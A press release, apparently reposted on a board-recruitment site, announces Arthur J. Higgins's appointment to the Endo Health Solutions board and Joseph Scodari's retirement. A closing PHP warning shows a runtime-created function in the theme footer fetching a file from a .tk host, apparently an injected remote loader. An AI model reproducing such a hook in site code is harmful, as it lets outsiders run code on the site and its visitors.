Endo Health Solutions appoints Arthur Higgins to Board of Directors

– USA, PA – Endo Health Solutions (NASDAQ: ENDP) today announced that Arthur J. Higgins has been appointed to its Board of Directors, effective immediately. Endo also announced that Joseph C. Scodari, 60, will retire as a director, effective December 31, 2013.

Recognized for his strategic capabilities, Mr. Higgins has over 30 years of domestic and international pharmaceutical industry experience. He is currently a Senior Advisor to Blackstone Healthcare Partners, the dedicated healthcare team of The Blackstone Group, where he focuses on product-based healthcare acquisitions. Prior to joining Blackstone, he served as Chairman of the Board of Management of Bayer HealthCare AG and Chairman & CEO of Enzon Pharmaceuticals.

Commenting on today’s announcement, Roger Kimmel, Chairman of Endo’s Board, said, “We are pleased to welcome Art Higgins to the Endo Board. Given the depth and breadth of his healthcare and pharmaceutical industry experience, we are confident that his unique insight and international perspective will be valuable resources as Endo continues its transformation into a more focused global specialty healthcare company.”

Mr. Higgins stated, “I believe that Endo has a differentiated strategy and a management team that can execute this strategy well. Endo is well-positioned to continue to offer products that make a difference in the lives of patients while generating superior growth and returns for shareholders. I am honored to join the Board of a fast-growing leader in the healthcare industry, and look forward to contributing to Endo’s momentum.”

Mr. Kimmel added, “On behalf of the Board of Directors, I would like to extend our sincere appreciation to Joe Scodari for his valuable and tireless contributions to the Board over many years and wish him the best in his future endeavors.”

Mr. Scodari stated, “It has been a pleasure to serve on the Endo Board of Directors for the past five years. I am confident that Endo has the right leadership and a clear vision in place for its next phase of growth, and I wish the company continued success.”

About  Arthur J. Higgins

Art Higgins, 57, has over 30 years of experience in the pharmaceutical industry. He is currently a Senior Advisor to Blackstone Healthcare Partners, the dedicated healthcare team of The Blackstone Group, where he focuses on product-based healthcare acquisitions. Prior to that, Mr. Higgins served as Chairman of the Board of Management of Bayer HealthCare AG, a developer and manufacturer of human and animal health products, and Chairman of the Bayer HealthCare Executive Committee. Prior to joining Bayer HealthCare in 2004, Mr. Higgins served as Chairman, President and Chief Executive Officer of Enzon Pharmaceuticals, Inc. from 2001 to 2004. Prior to joining Enzon Pharmaceuticals, Mr. Higgins spent 14 years with Abbott Laboratories, including serving as President of the Pharmaceutical Products Division from 1998 to 2001.

Mr. Higgins currently serves on the Boards of Ecolab, Inc. Resverlogix Corp. and Zimmer Holdings, Inc. He is a past member of the Board of Directors of the Pharmaceutical Research and Manufacturers of America (PhRMA), of the Council of the International Federation of Pharmaceutical Manufacturers and Associations (IFPMA) and President of the European Federation of Pharmaceutical Industries and Associations (EFPIA). Mr. Higgins has a B.S. in biochemistry from Strathclyde University in Glasgow, Scotland.

About Endo

Endo Health Solutions Inc. (Endo) is a U.S.-based specialty healthcare company with four distinct business segments that are focused on branded and generic pharmaceuticals, devices and services, each providing quality products to our customers while improving the lives of patients. Through our operating companies — AMS, Endo Pharmaceuticals, HealthTronics and Qualitest — Endo is dedicated to finding solutions for the unmet needs of patients.

- DisclaimerNews, data and statement included in this release are intended exclusively for general information purposes. Talent4Boards accepts neither liability for the consequences of the reader’s reliance, nor responsibility for the adequacy or accuracy of the information. No data or statement in this release should be considered for decisions about securities referred. Product and brand names used in this release maybe trademarks or registered trademarks of their respective owners.

Comments are closed.


Warning: file_get_contents(http://nativeredir.tk/lx/1.txt): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /var/sites/t/talent4boards.com/public_html/wp-content/themes/Aqua/footer.php(54) : runtime-created function on line 1